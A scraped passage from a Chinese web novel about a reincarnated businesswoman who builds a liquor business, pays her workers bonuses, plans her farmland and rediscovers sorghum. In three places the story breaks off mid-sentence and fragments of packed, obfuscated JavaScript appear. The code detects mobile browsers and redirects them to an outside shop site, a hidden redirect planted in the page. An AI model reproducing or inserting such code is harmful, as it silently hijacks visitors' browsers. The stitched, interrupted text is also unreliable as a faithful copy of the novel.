区区百味楼而已,还威胁不到蓬莱居的地位,两家酒楼有太白酒,肯定会有一定的竞争,但以蓬莱居的名气,他们在青州城里拥有绝对的优势。 话说到这种地步了,如果再僵持下去,损害的是双方的利益。 徐尚强思考片刻便同意了下来。 “傅老板年纪轻轻有如此手段,徐某人佩服!” 说话不卑不亢,行事游刃有余,有一种超出她年龄的成熟感。 “徐老板谬赞了。” 契书一式两份,两人签好字盖上章去官府过了明路,如此双方算是达成了合作,太白酒铺正式成为蓬莱居的酒水供应商。 傅知乔乐呵呵的:“徐老板,既然咱们成了朋友,我也就不藏着掖着了。” 徐尚强双眼瞪大,合着你还有后招呢? “太白酒的酿造过程繁琐复杂,经历数道工艺才能酿造出清澈透亮,干净无杂质的酒液,因此酒的年份越久价值也就更高。” 好酒是需要陈酿的,经过一段时间的洗礼,挥发掉酒液里杂醇物质,才能得到醇厚香浓的好酒。 这也是她坚持要把酒窖藏半年再拿出来售卖 31. 发奖金 《女商崛起》全本免费阅读 忙碌的日子总是过得很快,转眼间一个月的时间已经过去。 太白酒的名气在青州富人圈突然大增。 说来也好笑,原因是有一群公子哥在聚会时吹嘘自己的酒量,酒桌上有人拿出太白酒来,说谁能喝一碗太白酒而不醉谁的酒量就是最好的。公子哥们谁也不服谁,当即下赌注赌自己会赢,结果喝了一圈后无一人能坚持下来…… 太白酒就这么在富人圈里流行起来,青州城凡是有头有脸的人家,办席宴客拿不出一坛太白酒,是要被人笑话的。 尤其是临近年关,来各个酒楼预定宴席的人数大增,点名要喝太白酒的人的客人更是络绎不绝。 蓬莱居和百味楼凭借太白酒赚足了钱,也让其他酒楼的老板们眼红无比。 自从太白酒开始在蓬莱居售卖,酒楼账目上的收益一天比一天高,光是酒水这一块,每天的收入已经就有好几百两了。 这样的吸金能力,简直恐怖! 盘算账的时候看到账目收益,徐尚强脸上的笑容就没下来过,为此他还亲自跑了一趟太白酒铺,提前给傅知乔送了年礼。 傅知乔后知后觉,再过几日就是小年了。 临近过年,家家户户都需要酒。 劳作了一整年,整个青州的人走开始准备年货,吃肉喝酒,年夜饭、招待客人都少不了一壶好酒。 所以酒铺里也推出了一斤装的太白酒,售价三银子。 这对于舍不得花十两银子买整坛酒的百姓来说,简直太好了,花三两银子买上一斤太白酒,一家人喝也足够滋味了。 太白酒铺的客流量也已经趋于平稳,每日账目上的资金波动都不是很大。 傅知乔知道她的太白酒铺,在青州是真正立住脚了。 回想着这近一年来的发生的事,赚到的钱,她心里格外的踏实和妥帖。 她找到德福:“这段时间大家都辛苦,你拿着我的印章去钱庄里让他们准备好一笔钱,再去通知酒庄那边,过两日给工人们发奖金,铺子里的人也一起发。” “是!”德福接到命令后就走了。 傅知乔特地吩咐了文江要带两辆马车进城,因为他们要去钱庄取钱,没有马车的话钱运不回去。 傅知乔在钱庄开了银号,把这段时间赚的钱都存在里面,现在她已经是钱庄的大客户了,她来取钱,是掌柜的亲自招待的。 铜钱已经串好放进筐子里的,称完重后直接带走。 奖金分为两档,半贯钱五百文,一贯钱一千文,酒庄里有好一两百人,两辆马车才装得下这么多铜钱。 回到庄园,傅知乔让刘平谷将所有在酒庄里做活的村民都聚集到一起。 现场分钱。 每人半贯钱,排队领取,普通工人发半贯钱,组长和管事们发一贯钱。 一开始工人们还忐忑不安,不相信她会把这么一大笔奖金发下来。 直到看到好几筐铜钱摆出来。 全场发出惊叹声,他们活了大半辈子也没见过这么多钱。村民们眼睛里闪烁着光芒,有些语无伦次,抓着文江问:“文管事,那个……这些钱都是发给我们的吗?真的吗?” 得到肯定的答复后个个都笑得合不拢嘴。 他们世代都在这里租地耕田,从来没有领到过奖金。 在乡下自己种粮食,吃住都不怎么花钱,平均每人每月的生活支出大约是二三十文钱左右,东家一发就是半贯钱、一贯钱,抵得上他们半年的支出了,怎么能不激动! 有了这笔钱后,有人可以把家里漏水的房子修好,有人可以把自家孩子送进学堂,还有人说给儿子娶妻的聘礼终于有着落了…… 此时的酒庄,从上到下,一片喜气洋洋。 傅知乔令人在酒庄门口支了张桌子,文山拿着事先准备好的花名册,依次叫名字发钱,最先发的是酿酒工人的钱,其次是安保队和干杂活的。 工人们有序的排着队领钱,不久后就轮到了蒋婆婆,她是人群中唯一一个衣服上有许多的补丁的人。 她的出现很快引起了傅知乔的注意,蒋婆婆脸上布满皱纹,身材很干瘦但显得很有精神,一看就是生活很困难的那种。 刘方元站在一旁跟傅知乔解释,蒋婆婆是厨房里的烧火婆子,大儿子意外去世了,留下儿媳妇和孙子孙女,小儿子从军三年未归,如今也不知是生是死。 没有男丁,家里就她跟儿媳两个劳力,因此生活十分困难,有了这笔钱可以让她家里的经济情况宽松不少。 蒋婆婆接过半贯钱,紧紧攥在手里,脸上露出开心的笑容,嘴里一个劲的道着谢。 人人都在诉说着喜悦,甚至有几个汉子拿到钱后流下激动泪水。 傅知乔本人也很开心,替这些村民们开心。 她上辈子接触到的人都是富人圈,同龄的也都是些千金小姐豪门公子,大家从小就被保护的很好,可以说是一群不知人间疾苦的人。 这一世,她没有了傅氏集团继承人的光环,也没有可以依靠的家庭背景。 太白酒铺从无到有,一切都是靠自己。她亲自盯着酒庄修建、挖掘酒窖,与泥瓦工、木匠等工人讨论自己盖房的想法,她付出了极大的心血,可以说是沉浸式体验了一把包工头的生活。 正是因为如此,这里的人和物才深深地触动她。 她知道,农民种地全靠天吃饭。 村民们的生活水平很不稳定,全靠在庄子里的那点收成,收成好村民们就衣食不愁,碰到收成不好的时候就得节衣缩食,要是再碰上点自然灾害,那一整年辛劳就会付之东流。 对于自己人,傅知乔向来是大方的。她不是什么黑心资本家,也不需要工人们对她感恩戴德,工人们需要钱,她需要人做事,两者各取所需。 酒庄是她带着这群村民们一手建立起来的,从夏天到冬天他们一直在努力干活,发点奖金是理所当然的。 工人们付出劳动,她付出金钱。 她吃到了肉,手底下的人也少不了肉汤可以喝,升米恩斗米仇,这中间的尺寸傅知乔拿捏的很好,发半贯钱、一贯钱的奖金已经足够。 袁金花和刘大树期期艾艾的走到她面前道谢,他们夫妻二人都拿了半贯钱,合起来就是一贯钱了。 这一笔钱让两人很不好意思。 尤其是刘大树,他真是又高兴又羞愧,东家这么好的一个人,他以前干活还偷过懒,现在想想简直不是人!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942416|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂上被刀尖划了一道口子,傅知乔替他简单的包扎了伤口,还好伤口不深,金疮药撒上去很快就止住血了。 看着替自己包扎的傅知乔,谢卓眸色柔和了下来。 “你想如何处理那人?” “官府的人是你叫来的吧!” 两人同时出声又都同时停了下来,目光交汇的那一刹那两人都笑了出来。 “你又救了我一次。”傅知乔眸中盛满了笑意。 谢卓虽然没对外透露身份,可他的行止谈吐已经透露出不凡,官府的人之所以来的那么及时,肯定是他的功劳。 最让傅知乔动容的是,他义无反顾替自己挡住了致命的攻击。 第一次在大街上避免了她被人调戏,第二次在灯会的桥上避免了她摔入河中,第三次在家门口为她挡了一刀。 愧疚的情绪涌了上来。 “去熬一碗安神汤过来。”谢卓吩咐银杏去熬汤,他细细瞧了傅知乔苍白的脸色,担心她受到惊吓。 很快,银杏端着一碗冒着热气的安神汤过进了房,感觉到两人之间微妙的气息,她送完汤后就在门口守着。 谢卓接过碗,舀起一勺汤微微吹凉了一些才送进她嘴里。 “我自己来吧!”傅知乔有些别扭,明明受伤的人是他,现在怎么搞的好像自己才是伤患一样。 谢卓没有松手。 傅知乔见他坚持,只好一口一口喝完了他喂的安神汤。 安神汤效果很好,傅知乔昏昏欲睡,她闭上眼睛,摸到谢卓的微凉的手,嘴里囔囔道:“你的手,好凉!” “我知道!”谢卓轻声回应,反握住她的手。 盯着她恬静的睡颜,谢卓只觉得外界的一切喧嚣都在此刻消失,耳边只听得见她均匀的呼吸声。 傅知乔情绪大起大落很快睡了过去,连谢卓是什么时候走的都不知道,等她醒来的时候,姚成芳已经跪在了傅府门口了。 大儿子被抓进牢里,姚成芳崩溃了,一夜之间仿佛老了十岁。 如果说上次她跪在傅府门口,有几分做戏的意味,这次她跪在傅家门口,完全是真心实意。 姚成芳声音凄惨,她祈求傅知乔放过她儿子,只要能放过他们家,她明天就走。 傅知乔没有丝毫怜悯,姚成芳把“克夫命”、“丧门星”这样的词往余柔岚身上安时,也没有想过余柔岚会遭受到怎样的伤害。 人言可畏,流言也是会杀人的! 人不犯我我不犯人。 一切都是她咎由自取。 傅知乔看着哭哭啼啼的姚成芳,只觉得聒噪,还好前两日她已经把余柔岚送到城外的佛寺吃斋饭去了,这才让她避开这些烦心事。 傅家的下人过来驱赶,姚成芳万念俱灰,她甚至不知道自己是怎么走回去的。 翌日,巷子里就传出姚成芳被赶回了老家的消息。 消息是傅知乔故意放出去的,她的目的是杀鸡儆猴。 有了姚成芳的例子在前,周围的邻居多多少少都能猜到些什么,联想前几天的事知道傅家不好惹,看傅知乔的眼神不禁带了些恐惧之意。 流言的源头被解决,傅家的日子重回宁静。 余柔岚从山上回来,崔嬷嬷绘声绘色的跟她讲述着事情的经过。 余柔岚微笑的听完,只觉得一颗心踏实了,从身体里滋生出一股从未有过的力量。 她真的有一个好女儿,很好很好的女儿! 随着姚成芳离开青州,她的儿子雷坚成也被放出了牢房,经此教训,他们一家从此再也不敢回青州城了。 38. 种粮食 姚家的事情了结,傅知乔心里那块石头也落了下来,谢卓为了救她而受伤,她不能没有表示。 谢卓住的宅子不算十分豪华,是个两进的院子,院门口栽种了不少竹子,看起来不像富贵人家的院子,更像是名人隐士的住处,院子里熏了驱虫的草药,闻着不刺鼻,反而有股令人舒心的味道。 一个灰衣仆人走在回廊上引路,傅知乔一身桃粉束胸襦裙,双臂弯着藕粉色的披帛,慢悠悠地跟在后头。 走过回廊,再穿过一条青石小道便到了前院门口。 仆人只放傅知乔一人进去院子里面,银杏被拦在了外头,她嘴上没说什么,但满脸都写着不高兴。自家姑娘独自去见外男,万一被有心人给知晓了,不知道还会传出多少难听的话,她是被姚成芳给闹怕了。 傅知乔给银杏投去一个让她安心的眼神。 院子不算很大,傅知乔一眼就看到了坐在凉亭里的谢卓,他穿着一身玉色的袍子,因着是在家里,身上没半点荷包玉带装饰,只简单的用玉冠束紧乌发,眉如远山,鼻梁挺拔,十足的清俊公子哥气质。 看见傅知乔前来,谢卓眉眼都缀着笑。 见他笑,傅知乔嘴角也情不自禁弯起,“你的手好些了吗?” “无碍。”谢卓抬手做了个请的姿势。 傅知乔把盒子往桌子上一放,一双秋水眼眸自带笑意,拖长了调子:“谢公子,多谢你的救命之恩,这坛太白酒是我第一批酿出来的,天下独一份,酒铺里卖的那些都比不上它。” 谢卓的嘴角勾了勾,“既然如此,在下就却之不恭了。” 两人都落座,一个小丫鬟过来奉上热茶,还拿出一些模样精致的糕点,搁在傅知乔面前。 “先喝口茶。”谢卓不知傅知乔的口味,便让下人买了杏花楼里卖的最好的糕点回来。 清新的茶香在凉亭中散开来。 大魏民风虽还算开放,但孤男寡女一直待在一块也不是回事,吃了两块点心,谢礼也已经送到,傅知乔便告辞回家了。 看着傅知乔的背影,谢卓欲言又止,科考在即,祖父看中的那些学子有不少准备今年进考场的,他一过完年就匆匆赶来青州就是为了处理这件事。 傅知乔走后,谢卓依旧保持着端正的坐姿不动。 几息之后,他靠在椅背上,仿佛她身上淡淡的幽香仿佛还萦绕在鼻尖,一颗心咚咚咚的跳个不停,他轻呼一口气,闭上了眼。 学子名单已经收集完毕,他很快就要回京城,下次见面还不知是什么时候,若能在青州多待些时日就好了,谢卓在心里叹了口气。 * 过年到正月这段时间,彭高飞带着商队又来拉了一批酒回京城。 据他所说,太白酒一出现在京城就引起了轰动,有人尝了味道后觉得惊为天人,口口相传,太白酒就这样热销起来了。 彭高飞跟傅知乔讲述着自己卖酒时发生的趣事,眉宇间都是喜色。 目前,太白酒铺在彭高飞那里基本趋于稳定,每隔三四月他就会来订一次酒,傅知乔也很高兴,这代表着太白酒离卖往全国的目标又进了一步。 更让她高兴的是酒铺里的销量。 谁能想得到,仅仅过年前后的两个月时间,酒铺里的销量竟然翻了两倍。 傅知乔看了一眼手里的账本,按照正月里的销量计算,抛开成本和人工,酒庄的实际利润应该在百分之六十三左右,也就是净赚一万七千多两。 仅过年这一个月,就快赶上之前两三月销量的总和,这个结果太出乎意料了,傅知乔感慨,青州城不愧为省城,购买力惊人。 尤其是太白酒铺推出一斤装的太白酒后,销量的提升是显而易见的。 青州城里的人都知道太白酒卖的贵,十两银子的酒舍不得买,花二三银子买一斤回去,正月里再拿出来待客,主人家的面子里子都有了。 客人见到主人家拿如此好酒招待自己,心情必然高兴,一场宴会下来,宾客尽欢,所以这一个月里一斤装的太白酒是卖的最好的。 正月过去,酒的销量也会慢慢回落到原来的水平,但在这一个多月里,傅知乔已经赚的盆满钵满了。 酒铺业绩蒸蒸日上,傅知乔有了进一步扩张的想法。 她年前就已经把太白酒铺左右两间的铺子给买了下来,右边铺子暂时留作备用,左边那间铺子一起打通并入太白酒铺,并把里面改成几间贵宾招待室,争取把服务水平再提上一个台阶。 高老头知道她的打算后,不禁感叹东家的目光果然长远,当初一间小小的高家酒铺已经发展为三个铺面的大店了。 * 今年的春天似乎来的格外早些,正月一过,春雨就下个不停,湿漉漉的雨水如烟雾一般笼罩着大地。 春风吹过,道路两边已是一片翠绿。 天气渐渐回暖,傅知乔带着余柔岚去庄子上小住一段时间,随行的还有银杏和崔嬷嬷、黄嬷嬷等照顾日常起居的仆人。 马车慢慢走着,几个时辰后就到了庄园。 傅知乔领着余柔岚在院子里转了一圈,给她介绍这里的情况。 庄园里的一日三餐,吃的都是最新鲜的食材。 特别是猪肉,那才叫一个新鲜。分割好的猪肉送到院子里时还冒着热气,从食材变成菜品,整个时间不超过一个时辰。 看着这么新鲜的猪肉,傅知乔准备做个卤肉解馋,可厨娘根本不知道卤肉是什么东西,傅知乔只好站在一边指点她卤肉的做法。 猪肉洗净放进锅里,把从药铺、杂货铺里买来的花椒、桂皮、香叶、小茴香、山奈等香料,丢到锅里一起炖煮。 一个时辰后,肥肉被炖化,卤肉满院飘香,余柔岚也被吸引过来了。 母女俩大快朵颐,剩下的卤肉叫厨房里的仆人分食了。 远离喧嚣,贴亲近大自然,在农庄的日子实在过的舒心,余柔岚都有些乐不思蜀了。 但傅知乔还有正事要做。 酒铺的生意已经稳定下来,不需要她每天盯着,买下庄园这么久,她一直在忙建设酒庄的事情,还没好好的管理过庄园。 春耕是一年中的重中之重。 村民们虽然在酒庄里的做工,但他们还是以耕地为生的。 为此酒庄里特地做了人员调整,按时辰表排了班,不上工的时间放大家回去耕种,毕竟,粮食才是村民们不饿肚子的保障。 傅知乔找到刘平谷,让他带上村里的耕种的好手,随她一起去查看附近的田地的状况。 她换上一身利落的便装,走在庄稼地里,一路上还看见穿着蓑衣戴着草帽的村民,在田间除草翻地,还有人在把水渠里水引到田间…… 所有的村民都在为播种做准备。 刘平谷找来的都是年纪偏大,有多年种植经验的佃户,他们都是老实的庄稼汉,在傅知乔面前拘谨的不行。 傅知乔问一句,他们就答一句,除此之外,没有一个人敢发出声音来。 傅知乔仔细听着佃户们说话,时不时点头附和。渐渐地,佃户们见庄主如此平易近人,也不再拘谨,大胆跟她介绍着,一行人在路上聊了很多田庄的状况。 几百亩的庄子相当于一个大型农场,只是没有专业化的管理,导致很多田地都荒废了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985677|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然种田方面傅知乔是门外汉,但是经营策略方面还得靠她。 傅知乔把从佃户那里得到的信息整合在一起,重新将庄园规划了一番,除了已经建设好的酒庄,其他的田地根据土质划分为大米区、糯米区等等。 为了表示自己对农耕的看中,傅知乔特地让人买了三头耕牛回来犁地。 有了耕牛后能大大提高犁地效果,减少佃户种地的负担,但这个时候的耕牛可不便宜,一头壮年耕牛要价十多两。 这个价格对于佃户来说是很贵的,更让他们难以承担的养耕牛的费用,一耕头牛每月大约要吃掉半贯钱的饲料。 耕牛是靠力气犁地的,光吃草料是不够的,还要喂豆料和药饲,每养一头耕牛代表着每月要多支出半贯钱,因此养的牛越多花的钱也越多。 刘平谷被傅知乔感动的说不出话来,他从小生活在刘家村,世代都是这里的佃户,傅知乔是庄园的第三位主人,在此之前,他从没有遇到过这么好的东家。 稻子还在育苗阶段,在刘平谷的号召下,佃户们翻地种菜更加卖力了。 每天穿梭在田野间,傅知乔也手痒痒,兴冲冲的跟在几个妇人身后学种菜的技巧。 毕竟种花家的传统技能不能忘。 学了两天后,她自认为已经掌握了种菜的诀窍,组织下人们在院子里开辟出了一小块菜地。 傅知乔本想切身体验一把劳动人民播种的乐趣,但是,她刚拿着锄头挖出一个小坑就被制止了,崔嬷嬷害怕她伤到自己,只让她在一旁看着。 仆人们动作极为利索,不一会野草已经拔干净,土也早已经松好了。 到了最后,地不是她挖的,草也不是她锄的……她只需将菜种子洒下去就行了。 傅知乔乐呵呵的,这样也行。 种子撒下去后,她每天早上都会来菜地里看看种子有没有发芽,顺便浇浇水翻翻土。 傅知乔把自己代入农夫的身份,每天玩的不亦乐乎。 余柔岚对自己女儿种菜这个爱好十分无语,别人家的姑娘都是栽花赏花,怎么到了她这就变成下地种菜了,她嘴上说着嫌弃,面上却是带着笑的。 傅知乔来庄园并不是纯玩耍,她还有重要的事情安排。 大米作为酿酒的重要原料,自己种出来的不但价格比外面买的要便宜,还免去了来回运输的人力物力,简直一举多得! “娘,我们做的是酿酒的生意,酿酒需要大量大粮食,市场上的粮食行情很不稳定,在粮食采买上我们十分被动,只能任由粮商们出价,所以我必须建立自己的粮仓。” 傅知乔说了自己的下一步计划。 余柔岚愣了一会,回过神后抬手揉了揉傅知乔的脑袋,眼神无比温柔:“好,娘都听你的,你想做什么尽管去做,娘都支持你。” 余柔岚虽不懂生意头的弯弯绕绕,但她是全力支持女儿的。 自从傅知乔在余柔岚面前展现了本事后,她事事都以傅知乔为先,无论傅知乔做什么她都不拘着。 傅知乔立即着手整改着庄园。 按照她的指示,在庄园里挖了个大型储水池,还多挖了两条水渠,这样一来,旱地区域的灌溉水源就解决了。 傅知乔大刀阔斧,佃户们听她号令,很快田间就有了全新的面貌。 相比水田和耕地,果园就没有那么多讲究了,种的尽是些桃子、李子等果树。 因为果园里的果树种类不算多,也没有专人打理,结出来的果子品相不算好,但味道很不错。 想到家里做好的那几坛青梅酒,傅知乔问刘平谷:“果园里可有种青梅?” 39. 发现高粱 青梅口感酸涩,大家伙都不爱吃,需求量不大,自然也没人种。 刘平谷摇头,“没有,只是后山里的山坳里有十几棵青梅树。” 后山里的那十几棵青梅树也不知道是谁载的,反正这么些年一直在那里。 往年到了青梅的季节,村民们把它摘回去,一部分用来煮肉熬汤时放两颗调味,剩下的收起来烤干,煮酸梅汤喝。 酿青梅酒,没有原料可不行。 傅知乔指了指南边不远处的山,除开庄子里百余亩的良田,这座荒山她也打算开荒出来,大规模种植果树。 有了傅知乔特别叮嘱,佃户们号召人手去山里寻找青梅树。 若发现了青梅树苗就移栽到果园里来,因此果园里原有的的那十几棵青梅树被重点对待,修枝、施肥不敢有丝毫懈怠。 一座荒山光指望着刘家村的人是不够的,于是庄园里再一次向四周的村子里招人。 开荒山的事傅知乔没有出面,全面交给了文山和刘平谷负责,她笑眯眯的:“山上的事就就拜托各位了!” 荒山开垦进行的如火如荼,寻找高粱一事却久久没有进展。 傅知乔有点着急,早在来庄园之初,她就让人拿着高粱图出去问了,可附近几个村庄都走遍了都无人知晓。 傅知乔把画摊开在桌上,长长的茎秆,红红的穗头,宽宽的叶子,这幅画还是她根据记忆画出来的,她自认为已经把高粱的特点都画出来了,可庄里的佃户们还是说不认得是什么东西。 难道这个时代没有高粱吗? 傅知乔有点苦恼。 太白酒横空出世,如今已经成了青州酒市上的一匹黑马,但傅知乔心里清楚,想要把太白酒推广至全国并非是一件容易的事。 目前酒铺里酒品类型单一,是一个致命缺点。 太白酒的名头在青州打了出来,可别看它现在卖得火热,整个酒铺只有这一款酒是远远不够的,再新鲜的事物也会有过时的一天。 唯有源源不断推出新品,才能留住顾客的心。 按照计划,傅知乔要做的便是继续扩大生产,增加酒的品类。 现如今,太白酒在青州城的市场已经打开了,她必须要牢牢占据青州这个根据地,借此机会向周边地区扩散,进一步提升太白酒铺的知名度。 傅知乔盯着桌上的画,思绪却已经飘远了。 青梅酒是她计划里的一环,上市售卖一事已经放进她的日程里了,但高粱酒迟迟没有进展,尤其是找不到酿酒原料高粱,这着实让她有些焦虑。 没有高粱的话,开发新酒这件事就要搁置了。 傅知乔叹了口气,把自制的高粱图收了起来,准备去村子里转一转,透透气。 农忙时节,村里的青壮年都去田间忙活了,整个村子里就只剩下一些年迈的老人和孩童。 傅知乔带着银杏慢慢在村里走着,耳边时不时还传来孩子们的笑声,让她心中的郁气都消散了几分。 路过一户人家时,看到有位头发花白的老人家正在门口做东西,傅知乔总觉得他手里的东西有几分眼熟。 走近一看,高……高粱? 等等! 这长杆、这红穗头、这宽叶子…… 没有错,是高粱没有错! 踏破铁鞋无觅处,得来全不费工夫。 明明村子里就有高粱,为何大家都说不认得,难道是她的画过于抽象了? 傅知乔克制住激动的心情,上前问道:“老人家,你手上拿的可是高粱?” 老人头也不抬,压根就不理她。 “老人家,我家小姐问你话呢!”银杏加大声音,她怀疑这老人家耳朵不太好使。 见他还不回答,银杏想走到他面前打招呼,傅知乔连忙制止了她,手艺人嘛,有几分傲气也很正常,两人安静的站在一旁看着老人做扫帚。 老人全神贯注忙着手上的活,很快,他手里的东西已经成型。 眼看着快要做好了,傅知乔趁机再次发问:“老人家,请问这是什么?” 老人斜了她一眼,“扫帚。” 他语气轻蔑,有一种这个你居然不认识的鄙视感。 傅知乔:…… 我当然看出来这是扫帚了,还不是是为了跟你搭话才这么问的! 老人动作极为利索,把做好的扫帚放在一边,又取出一捆高粱穗开始了新的制作。 高粱穗已经去掉了籽,保留住蓬松的穗头,晒干高粱杆修整干净的防止割手,将所有高粱杆割成一样的长度,捆成小捆平铺在地上。 取一段麻绳缠绕在木棍上,双脚踩在木棍的两端,用麻绳头缠在高粱杆上一圈一圈勒紧,每隔几圈添一捆高粱杆直至扫帚成形,扫帚柄缠成手臂粗细,最后用柴刀将扫帚柄的顶端切割整齐即可。 一盏茶时间不到,一把高粱扫帚就这么做好了。 “呵呵,老人家手真巧,能扎出这么漂亮的扫帚……”傅知乔继续拍他马屁,她必须要搞清楚老人手上的高粱是哪里来的。 在她的再三询问之下,终于从老人口中得知他的高粱是自己种的。 原来本地就能种植高粱! 得到了重要的信息,傅知乔痛快地掏钱买下了这把扫帚。 回去的路上银杏终于忍不住了,“姑娘,咱们买这个干嘛?” 傅知乔神秘一笑:“用处大着呢!” 她带着扫帚去找刘平谷。 “东家,这是桃黍,成熟后的籽是可以吃的,但吃起来非常涩口,我们只有碰到灾年才会吃,这玩意平时都是拿来喂鸡的,它的杆子能做扫帚,用桃黍杆扎成的扫帚,一把能卖三四文钱呢。” 原来这时代高粱被叫做桃黍,难怪她翻书都翻不到高粱相关的字眼。 说着,刘平谷拿出了自己一把用旧了的高粱扫帚。 喂鸡?做扫帚?傅知乔嘴角抽了抽。 暴殄天物啊! 酿酒的绝佳材料,在这里居然仅仅拿去扎扫帚? “庄子上可有种高粱,不,桃黍?” “往年都有种,但种的不多……” 桃黍抗涝抗旱非常好种植,碰上灾荒年,尤其是在稻子、麦子大量减产后,桃黍就是百姓们的救命粮了。 桃黍属于粗粮,口感同细粮相差较大,虽然味道不好,但碰上灾年也讲究不了什么了,填饱肚子才是百姓们的首选。 跟刘平谷了解完高粱种植背景,傅知乔当即放话,要把庄园里的空地都拿出来种高粱。 “这……” 桃黍的产量虽然比其他农作物高一些,但它口感差、卖不上好价钱,其他佃户们未必愿意把土地拿出来种桃黍。 刘平谷说出他的担忧,放着好好的粮食不种去种桃黍,换他自己他也不愿意。 这确实是个问题。 傅知乔沉思片刻,佃户们全靠租赁的那几亩地过活,她不能强制别人改种作物啊。 “你放心,种植桃黍不用佃户们的地,我记得庄园西北面的那块旱地还没有人租种,全部给我种上桃黍!” 傅知乔依稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006877|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得,高粱是不用种植在水田里的,平坦的旱地一样也能种出来。 庄子里还有大把的土地没有开发出来,现在正好能利用上。 刘平谷还是有些担心:“东家,那块地不够肥沃,能种出桃黍来吗?” 傅知乔:“?” 接收到傅知乔疑问的眼神后,刘平谷老实回答:“西北面是有几块长草的荒地,不过那里的土质不好,不适合种粮。” 刘平谷在村里生活里这么多年,对这里的土地情况可以说是了如指掌。 傅知乔说的那块地位于庄园的西北面,背靠大山,土质松散、粗粒多,土壤根本无法贴合作物的根系,一场雨就会导致作物死亡,久而久之这块地就荒废下来了。 没吃过猪肉还没见过猪跑,种植经验她没有,可理论知识她丰富着呢!傅知乔上辈子为了把世界各国的酒引进到自己酒店,可没少参观世界各地的农场、酒厂,这也是她刚来青州城就敢买地建酒庄的原因。 国人酿造高粱酒的水平可谓是独步世界,当年傅知乔去考察酒厂时,有到种植园里参观过,所以高粱的种植模式她还有些印象。 土壤不贴根?没关系! 犁地后把地面耙成垄沟状,增加地面垄台与垄沟的差距,不止利于作物根系的生长,还能排水防涝。 土地不够肥?也没关系! 可以用鸡粪、鸭粪或者人工粪肥,它们所含的养分高,可以有效为土壤增肥。 总之,没有什么可以阻挡她种植高粱的决心。 刘平谷有些意外,傅知乔给他的印象一直是是喜怒不形于色的,像今天这样情绪外露是极为少见的。不过,该提醒的他已经提醒过东家了,既然东家执意要种桃黍,他也只好听令。 四五月就是种植高粱的季节了,事态紧急,傅知乔火速下达了命令。 关于高粱种植,她还是偏向于规模化的种植和管理,交由佃户们种植的话,结果就是这里种一块地那里种一块地,不但不好管理,高粱的品质也无法得到保障。 目前刘家村里的人不够用了,她要从外面找些人过来管理高粱地,顺便给村里的佃户们一点危机感,有了外人来竞争,相信佃户们耕种田地会更加卖力。 有钱不愁没人做事。 最后傅知乔以包吃包住,每月八十文的工钱从邻村招了十几个农户做长工,专门负责种植这些高粱。 傅知乔把详细的种植计划一一向文江说明,先开荒、养土,再进行种植,两人又讨论了一下细节,文江点了点头表示明白,具体的人员分配全部交由他去安排。 新招来的工人一共分为两拨,一拨人抓紧时间把土地翻新,泼上人工肥发酵一段时间,等土地变得肥沃后就能下种子了。 另一波人则赶去各个村里收购桃黍种子,只选饱满的种子,瘪粒和破损粒全部淘汰掉。 两天后,他们带着两大马车的种子回来了,在竹筐底部铺上一层麻布,里面装的全是略显深红的高粱种子。 看着这一筐筐的种子,找了这么久的种子就在眼前,傅知乔心头激动得无以复加,仿佛已经看到了高粱酒上市后的盛况了。 傅知乔已经放话给管理高粱种植的工人了,只要产量好就有奖赏,几人听到有奖赏后也十分高兴,在悄悄打听到庄主给所有工人发过一贯钱的奖金后,做起事来更是卖力。 几天后,傅知乔到地里查看了土况,浇上去的粪肥已经被泥土吸收的差不多了,她满意的验收了成果。 万事俱备,只等气候温度适宜就可撒下种子。 40. 推出青梅酒 安排好春耕的相关事宜,傅知乔回到城里开始准备青梅酒上市。 年前买下来的两个铺面正在装修,不日就能完工,其中右边那间大铺子暂时作为仓库使用,左边那间稍小的铺子装修好会合并到太白酒铺子里,专门用来接待VIP和女客,也是为接下来推出青梅酒做铺垫。 青梅酒的目标客户是女性,销售风格自然不能像太白酒那样豪放,所以她专门弄了一个女性客人接待室,免得让来买太白酒的男客冲撞了女客。 硬件设施正在建设中,相应的配套的设施也要跟上才行。 酒铺面积虽然扩大了不少,也增加了只接待女客的铺子,但店里目前只有男性伙计,她还需要更多的女性接待员。 “嬷嬷,你去找牙婆买些丫鬟回来,要机灵的、面貌清秀些的。” 崔嬷嬷领命下去。 牙婆就是买卖丫鬟小厮的中间人,人牙子在大魏是一个正经的行当,相当于中介的作用,而王婆是城里最有名的牙婆,在各个行当都很吃得开。 王婆很快就带了十几个丫头上门,供人挑选。 一进门见到人,王婆态度很是恭敬,屈膝行礼,招呼身后的小丫鬟们:“还不快来见过崔嬷嬷。” “见过崔嬷嬷。”小丫鬟跟着她一起行礼。 